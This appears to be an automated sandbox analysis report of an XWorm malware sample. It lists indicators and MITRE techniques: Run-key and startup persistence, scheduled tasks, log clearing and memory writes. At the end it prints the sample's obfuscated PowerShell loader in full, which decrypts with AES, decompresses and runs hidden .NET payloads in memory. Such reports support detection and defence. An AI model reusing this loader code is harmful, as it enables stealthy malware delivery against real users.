xworm | d045a5c4b8dde317db30177b67e8dbda3f96fe3932511da4b48c9727ee4300bb

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000\Control Panel\International\Geo\Nation	WScript.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\System User.lnk	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\System User.lnk	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
1872	System User
1460	kkuobf.exe

Indicator Removal: Clear Windows Event Logs 1 TTPs 1 IoCs

Clear Windows Event Logs to hide the activity of an intrusion.

defense_evasion

Clear Windows Event Logs

T1070.001

description	ioc	Process
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-WindowsUpdateClient%4Operational.evtx	svchost.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\System User = "C:\\Users\\Admin\\AppData\\Roaming\\System User"	powershell.exe

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\P:	svchost.exe
File opened (read-only)	\??\W:	svchost.exe
File opened (read-only)	\??\M:	svchost.exe
File opened (read-only)	\??\E:	svchost.exe
File opened (read-only)	\??\I:	svchost.exe
File opened (read-only)	\??\N:	svchost.exe
File opened (read-only)	\??\O:	svchost.exe
File opened (read-only)	\??\Q:	svchost.exe
File opened (read-only)	\??\U:	svchost.exe
File opened (read-only)	\??\Y:	svchost.exe
File opened (read-only)	\??\A:	svchost.exe
File opened (read-only)	\??\Z:	svchost.exe
File opened (read-only)	\??\G:	svchost.exe
File opened (read-only)	\??\J:	svchost.exe
File opened (read-only)	\??\L:	svchost.exe
File opened (read-only)	\??\T:	svchost.exe
File opened (read-only)	\??\B:	svchost.exe
File opened (read-only)	\??\K:	svchost.exe
File opened (read-only)	\??\R:	svchost.exe
File opened (read-only)	\??\S:	svchost.exe
File opened (read-only)	\??\V:	svchost.exe
File opened (read-only)	\??\X:	svchost.exe
File opened (read-only)	\??\H:	svchost.exe

Drops file in System32 directory 14 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\System User	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Scan	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_6372E0472AFF76BB926C97818BC773B9	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	kkuobf.exe

Checks processor information in registry 2 TTPs 4 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	svchost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	svchost.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	svchost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	svchost.exe

Modifies Internet Explorer settings 1 TTPs 2 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000\SOFTWARE\Microsoft\Internet Explorer\LowRegistry\Audio\PolicyConfig\PropertyStore\7ce0364f_0\ = "{2}.\\\\?\\hdaudio#func_01&ven_8086&dev_0022&subsys_80860022&rev_1001#{6994ad04-93ef-11d0-a3cc-00a0c9223196}\\elineouttopo/00010001\|\\Device\\HarddiskVolume2\\Users\\Admin\\AppData\\Local\\Temp\\kkuobf.exe%b{00000000-0000-0000-0000-000000000000}"	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000\SOFTWARE\Microsoft\Internet Explorer\LowRegistry\Audio\PolicyConfig\PropertyStore\7ce0364f_0	svchost.exe

Modifies data under HKEY_USERS 42 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\Certificates	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\ExtendedProperties\LID = "00180011D661A4D4"	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Root\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Root\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Root\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CTLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CTLs	svchost.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000_Classes\Local Settings	powershell.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
4852	schtasks.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1372	powershell.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3916	powershell.exe
3916	powershell.exe
4400	powershell.exe
4400	powershell.exe
1372	powershell.exe
1372	powershell.exe
1372	powershell.exe
1372	powershell.exe
1372	powershell.exe
1372	powershell.exe
1372	powershell.exe
1372	powershell.exe
1372	powershell.exe
1372	powershell.exe
1372	powershell.exe
1372	powershell.exe
1372	powershell.exe
1372	powershell.exe
1372	powershell.exe
1372	powershell.exe
1372	powershell.exe
1372	powershell.exe
1372	powershell.exe
1372	powershell.exe
1372	powershell.exe
1372	powershell.exe
1372	powershell.exe
1372	powershell.exe
1372	powershell.exe
1372	powershell.exe
4372	powershell.exe
4372	powershell.exe
1372	powershell.exe
1372	powershell.exe
1372	powershell.exe
744	powershell.exe
744	powershell.exe
4804	powershell.exe
1372	powershell.exe
1372	powershell.exe
1372	powershell.exe
4804	powershell.exe
1028	powershell.exe
1028	powershell.exe
1372	powershell.exe
1372	powershell.exe
1372	powershell.exe
1372	powershell.exe
1372	powershell.exe
1372	powershell.exe
1372	powershell.exe
1372	powershell.exe
1372	powershell.exe
1372	powershell.exe
1372	powershell.exe
1372	powershell.exe
1372	powershell.exe
1372	powershell.exe
1372	powershell.exe
1372	powershell.exe
1372	powershell.exe
1372	powershell.exe
1372	powershell.exe
1372	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3472	Explorer.EXE

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3916	powershell.exe
Token: SeDebugPrivilege	4400	powershell.exe
Token: SeIncreaseQuotaPrivilege	4400	powershell.exe
Token: SeSecurityPrivilege	4400	powershell.exe
Token: SeTakeOwnershipPrivilege	4400	powershell.exe
Token: SeLoadDriverPrivilege	4400	powershell.exe
Token: SeSystemProfilePrivilege	4400	powershell.exe
Token: SeSystemtimePrivilege	4400	powershell.exe
Token: SeProfSingleProcessPrivilege	4400	powershell.exe
Token: SeIncBasePriorityPrivilege	4400	powershell.exe
Token: SeCreatePagefilePrivilege	4400	powershell.exe
Token: SeBackupPrivilege	4400	powershell.exe
Token: SeRestorePrivilege	4400	powershell.exe
Token: SeShutdownPrivilege	4400	powershell.exe
Token: SeDebugPrivilege	4400	powershell.exe
Token: SeSystemEnvironmentPrivilege	4400	powershell.exe
Token: SeRemoteShutdownPrivilege	4400	powershell.exe
Token: SeUndockPrivilege	4400	powershell.exe
Token: SeManageVolumePrivilege	4400	powershell.exe
Token: 33	4400	powershell.exe
Token: 34	4400	powershell.exe
Token: 35	4400	powershell.exe
Token: 36	4400	powershell.exe
Token: SeIncreaseQuotaPrivilege	4400	powershell.exe
Token: SeSecurityPrivilege	4400	powershell.exe
Token: SeTakeOwnershipPrivilege	4400	powershell.exe
Token: SeLoadDriverPrivilege	4400	powershell.exe
Token: SeSystemProfilePrivilege	4400	powershell.exe
Token: SeSystemtimePrivilege	4400	powershell.exe
Token: SeProfSingleProcessPrivilege	4400	powershell.exe
Token: SeIncBasePriorityPrivilege	4400	powershell.exe
Token: SeCreatePagefilePrivilege	4400	powershell.exe
Token: SeBackupPrivilege	4400	powershell.exe
Token: SeRestorePrivilege	4400	powershell.exe
Token: SeShutdownPrivilege	4400	powershell.exe
Token: SeDebugPrivilege	4400	powershell.exe
Token: SeSystemEnvironmentPrivilege	4400	powershell.exe
Token: SeRemoteShutdownPrivilege	4400	powershell.exe
Token: SeUndockPrivilege	4400	powershell.exe
Token: SeManageVolumePrivilege	4400	powershell.exe
Token: 33	4400	powershell.exe
Token: 34	4400	powershell.exe
Token: 35	4400	powershell.exe
Token: 36	4400	powershell.exe
Token: SeIncreaseQuotaPrivilege	4400	powershell.exe
Token: SeSecurityPrivilege	4400	powershell.exe
Token: SeTakeOwnershipPrivilege	4400	powershell.exe
Token: SeLoadDriverPrivilege	4400	powershell.exe
Token: SeSystemProfilePrivilege	4400	powershell.exe
Token: SeSystemtimePrivilege	4400	powershell.exe
Token: SeProfSingleProcessPrivilege	4400	powershell.exe
Token: SeIncBasePriorityPrivilege	4400	powershell.exe
Token: SeCreatePagefilePrivilege	4400	powershell.exe
Token: SeBackupPrivilege	4400	powershell.exe
Token: SeRestorePrivilege	4400	powershell.exe
Token: SeShutdownPrivilege	4400	powershell.exe
Token: SeDebugPrivilege	4400	powershell.exe
Token: SeSystemEnvironmentPrivilege	4400	powershell.exe
Token: SeRemoteShutdownPrivilege	4400	powershell.exe
Token: SeUndockPrivilege	4400	powershell.exe
Token: SeManageVolumePrivilege	4400	powershell.exe
Token: 33	4400	powershell.exe
Token: 34	4400	powershell.exe
Token: 35	4400	powershell.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
3472	Explorer.EXE
3472	Explorer.EXE

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
1372	powershell.exe
3472	Explorer.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3876 wrote to memory of 3396	3876	cmd.exe	83
PID 3876 wrote to memory of 3396	3876	cmd.exe	83
PID 3876 wrote to memory of 3916	3876	cmd.exe	84
PID 3876 wrote to memory of 3916	3876	cmd.exe	84
PID 3916 wrote to memory of 4400	3916	powershell.exe	85
PID 3916 wrote to memory of 4400	3916	powershell.exe	85
PID 3916 wrote to memory of 4140	3916	powershell.exe	88
PID 3916 wrote to memory of 4140	3916	powershell.exe	88
PID 4140 wrote to memory of 1876	4140	WScript.exe	89
PID 4140 wrote to memory of 1876	4140	WScript.exe	89
PID 1876 wrote to memory of 2408	1876	cmd.exe	91
PID 1876 wrote to memory of 2408	1876	cmd.exe	91
PID 1876 wrote to memory of 1372	1876	cmd.exe	92
PID 1876 wrote to memory of 1372	1876	cmd.exe	92
PID 1372 wrote to memory of 3472	1372	powershell.exe	56
PID 1372 wrote to memory of 1772	1372	powershell.exe	30
PID 1372 wrote to memory of 2160	1372	powershell.exe	39
PID 1372 wrote to memory of 1568	1372	powershell.exe	27
PID 1372 wrote to memory of 1764	1372	powershell.exe	36
PID 1372 wrote to memory of 972	1372	powershell.exe	12
PID 1372 wrote to memory of 2740	1372	powershell.exe	72
PID 1372 wrote to memory of 2144	1372	powershell.exe	38
PID 1372 wrote to memory of 1352	1372	powershell.exe	23
PID 1372 wrote to memory of 2724	1372	powershell.exe	49
PID 1372 wrote to memory of 1344	1372	powershell.exe	22
PID 1372 wrote to memory of 1540	1372	powershell.exe	26
PID 1372 wrote to memory of 5084	1372	powershell.exe	75
PID 1372 wrote to memory of 2716	1372	powershell.exe	48
PID 1372 wrote to memory of 1336	1372	powershell.exe	21
PID 1372 wrote to memory of 4584	1372	powershell.exe	66
PID 1372 wrote to memory of 1528	1372	powershell.exe	25
PID 1372 wrote to memory of 1920	1372	powershell.exe	34
PID 1372 wrote to memory of 1912	1372	powershell.exe	33
PID 1372 wrote to memory of 2896	1372	powershell.exe	53
PID 1372 wrote to memory of 1160	1372	powershell.exe	68
PID 1372 wrote to memory of 2288	1372	powershell.exe	41
PID 1372 wrote to memory of 912	1372	powershell.exe	11
PID 1372 wrote to memory of 1104	1372	powershell.exe	18
PID 1372 wrote to memory of 1500	1372	powershell.exe	24
PID 1372 wrote to memory of 2668	1372	powershell.exe	46
PID 1372 wrote to memory of 1676	1372	powershell.exe	28
PID 1372 wrote to memory of 1692	1372	powershell.exe	29
PID 1372 wrote to memory of 1080	1372	powershell.exe	17
PID 1372 wrote to memory of 1200	1372	powershell.exe	19
PID 1372 wrote to memory of 1072	1372	powershell.exe	16
PID 1372 wrote to memory of 1268	1372	powershell.exe	20
PID 1372 wrote to memory of 1844	1372	powershell.exe	32
PID 1372 wrote to memory of 660	1372	powershell.exe	14
PID 1372 wrote to memory of 2432	1372	powershell.exe	43
PID 1372 wrote to memory of 2424	1372	powershell.exe	42
PID 1372 wrote to memory of 2220	1372	powershell.exe	40
PID 1372 wrote to memory of 3596	1372	powershell.exe	57
PID 1372 wrote to memory of 2608	1372	powershell.exe	44
PID 1372 wrote to memory of 1808	1372	powershell.exe	31
PID 1372 wrote to memory of 3380	1372	powershell.exe	55
PID 1372 wrote to memory of 4756	1372	powershell.exe	69
PID 1372 wrote to memory of 812	1372	powershell.exe	10
PID 1372 wrote to memory of 1992	1372	powershell.exe	35
PID 1372 wrote to memory of 2776	1372	powershell.exe	50
PID 1372 wrote to memory of 404	1372	powershell.exe	15
PID 1372 wrote to memory of 3632	1372	powershell.exe	73
PID 1372 wrote to memory of 4372	1372	powershell.exe	96
PID 1372 wrote to memory of 4372	1372	powershell.exe	96
PID 1372 wrote to memory of 1492	1372	powershell.exe	95

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p
1⤵
- Checks processor information in registry
PID:812
- C:\Windows\System32\mousocoreworker.exe
  C:\Windows\System32\mousocoreworker.exe -Embedding
  2⤵
  PID:4140
- C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe
  C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding
  2⤵
  PID:3996
- C:\Windows\System32\mousocoreworker.exe
  C:\Windows\System32\mousocoreworker.exe -Embedding
  2⤵
  PID:3468

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k RPCSS -p
1⤵
PID:912

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:972

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:660

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork -p
1⤵
PID:404

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:1072

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1080

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1104

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
- Drops file in System32 directory
PID:1200
- C:\Users\Admin\AppData\Roaming\System User
  "C:\Users\Admin\AppData\Roaming\System User"
  2⤵
  - Executes dropped EXE
  PID:1872

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Indicator Removal: Clear Windows Event Logs
PID:1268

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1336

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1344

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1352

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1500

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1528

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1540

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1568

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1676

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1692

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1772

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1808

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
- Modifies Internet Explorer settings
PID:1844
- C:\Windows\system32\AUDIODG.EXE
  C:\Windows\system32\AUDIODG.EXE 0x544 0x540
  2⤵
  PID:3480

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1912

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1920

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1992

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:1764

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
PID:2144

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNoNetworkFirewall -p
1⤵
PID:2160

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2220

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2288

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2424

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2432

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:2608

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
- Enumerates connected drives
PID:2668

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2716

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2724

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2776

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:2896

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3380

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:3472
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Skibidi toilet.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3876
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('0zB5oNxw8ChOTR95+B7+FqMqcWMDZ3zXPUOZ3OFVNvI='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1oecpyE1wbmZA6wwUszdsQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $EyndQ=New-Object System.IO.MemoryStream(,$param_var); $zsSyH=New-Object System.IO.MemoryStream; $pyawh=New-Object System.IO.Compression.GZipStream($EyndQ, [IO.Compression.CompressionMode]::Decompress); $pyawh.CopyTo($zsSyH); $pyawh.Dispose(); $EyndQ.Dispose(); $zsSyH.Dispose(); $zsSyH.ToArray();}function execute_function($param_var,$param2_var){ $biCMJ=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $zPMku=$biCMJ.EntryPoint; $zPMku.Invoke($null, $param2_var);}$nJNeX = 'C:\Users\Admin\AppData\Local\Temp\Skibidi toilet.bat';$host.UI.RawUI.WindowTitle = $nJNeX;$fOqpF=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($nJNeX).Split([Environment]::NewLine);foreach ($gaYRM in $fOqpF) { if ($gaYRM.StartsWith('sfseDMVMVhMjxEnxjzbU')) { $gfrZZ=$gaYRM.Substring(20); break; }}$payloads_var=[string[]]$gfrZZ.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
    3⤵
    PID:3396
